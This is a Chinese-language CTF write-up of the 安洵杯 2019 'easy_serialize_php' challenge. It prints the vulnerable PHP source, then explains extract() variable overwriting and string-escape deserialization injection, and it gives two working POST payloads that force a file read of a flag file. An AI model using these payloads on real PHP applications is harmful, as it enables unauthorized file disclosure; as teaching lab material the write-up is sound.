damn!喜欢多解是吧,那就多亿点分析

可能涉及知识点

  • php反序列化
  • 变量覆盖(当然本题也可不知道)
  • 字符串逃逸(减)

分析

各大平台上都有这个题应该,随便找个都能打.

~当然很久前我想写这个题解的,一直鸽了.今天终于抽空好好看了看和想了想.~

首先是开题页面:

image-20241117004951337

点进去看得到源码,浅浅审计一下

下面给出注释版!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
header("Content-type:text/html;charset=utf-8");
$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
//字符串减少
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);
//extract() 方法可用于将数组展开,键名作为变量名,元素值为变量值,
// 存在变量覆盖
// 这里明显是不能对 _SESSION['img'] 属性进行变量覆盖,因为后面又会重新赋值
//$_SESSION['img'] = base64_encode('guest_img.png');赋值操作
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}


if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
// 对序列化后的数据进行处理,存在字符串逃逸漏洞的可能,可实现可控对象的注入!
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
if($function == 'highlight_file'){
highlight_file(__FILE__);
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
//反序列化入口点
$userinfo = unserialize($serialize_info);
//触发文件读取,终点
echo file_get_contents(base64_decode($userinfo['img']));
}

首先访问phpinfo界面然后找到个什么奇怪的d0g3_f1ag.php文件,巴拉巴的就不讲了,自行解决!


首先讲第一个知识点,extract()变量覆盖

本题可用也可不用,随意即可!当然既然说是详解,俺肯定是都会讲.

先写一个蹩脚的测试代码看看发生了啥:

1
2
3
4
5
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
var_dump($_SESSION);

访问看看效果

image-20241117005716938

这时我们POST传参看看会发生啥:

image-20241117005744789

发现之前的变量都被清空了只保留了我们传参的flag

这里的$_SESSION不是一个对象喔

image-20241117005938450

ok,这个知识点讲完嘞

接下来直接开始字符串逃逸,飞起来!

便于看出反序列化的变化特点,在本地打通再去远程把.加一条dump变量的语句食用效果更佳!

第一种方式,不用前面的变量覆盖,老老实实传题目出现的变量

我们需要知道需要控制的变量是$_SESSION['img']即可!

先打一发_SESSION[user]=flag

image-20241117010656067

string(87) "a:3:{s:4:"user";s:4:"";s:8:"function";s:3:"123";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

可以看到flag被正则过滤了,替换为了空值,然后就是影响了原本的序列化数据结构,当然到你要反序列化回去的时候就会出现问题!而我们就可以利用这个问题达到我们的攻击目的!(反序列化的对象注入).这也就是所谓的字符串逃逸

我们要的是读取ZDBnM19mMWFnLnBocA==而非Z3Vlc3RfaW1nLnBuZw==

也即我们希望出现 s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==

那我们就把原先的不想要的img挤出去

通过它前面那个function变量覆盖一下

image-20241117012537407

现在应该是有点感觉了吧!

然后开始数数阶段,如何把数给对上!

发现这个";s:8:"function";s:39:"一段多余,因为前面的s:4都数越界了,然后后面的s:78为了让我们假冒的img变量注入真正起作用,这个必须给除掉,不然后面一大串我们的传参都是当作s:78的值,也就是不会解析数一下这段刚好是23,不方便凑数,凑个24出来更好,变成";s:8:"function";s:39:"a

Payload:_SESSION[user]=flagflagflagflagflagflag&&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"name";s:6:"Eviden";}

解释一下后面这个s:4:"name";s:6:"Eviden";},因为序列化粗来的变量是a:3也就是3个,我们污染了两个其实.所以除了我们伪造的那个img变量,另外一个还得凑一个变量出来才能符合要求!

当然这也就是我开头所说的不利用extract变量覆盖,从而添加的凑数对象出现在后面导致payload过长!

第二种方式,利用变量覆盖,凑数对象直接出现在中间!(网上通用解法)

前面看了demo函数之后我们应该会想到一种赋值,我们直接对SESSION数组赋值看看是啥

image-20241117013946793

发现序列化的变量只有两个了,也符合前面的分析,我们自己赋值了一个flag变量,然后题目后面自己赋值了一个img变量.

我们还是希望出现 s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==

直接传入看看

image-20241117014230625

再前面加个;便于分析.传入_SESSION[flag]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==

得到序列化数据为:string(95) "a:2:{s:4:"";s:36:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

发现";s:37:多余,数一下长度为7=4+3

直接传入最终Payload:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这里的s:1:"1"就是我们在中间插入的对象,然后后面的";}意味着反序列化终止的地方.

右键查看源码可以看到我们预先放本地的flag

image-20241117014748160

总结

两种方式都有各自的实战场景,当然这个题肯定是后者分析起来舒服点!

初学者建议从第一种方式入手,更加朴实无华!

参考

PHP反序列化 — 字符逃逸 - 先知社区

安洵杯 2019]easy_serialize_php -------- 反序列化/序列化和代码审计_ctf 反序列化变量覆盖-CSDN博客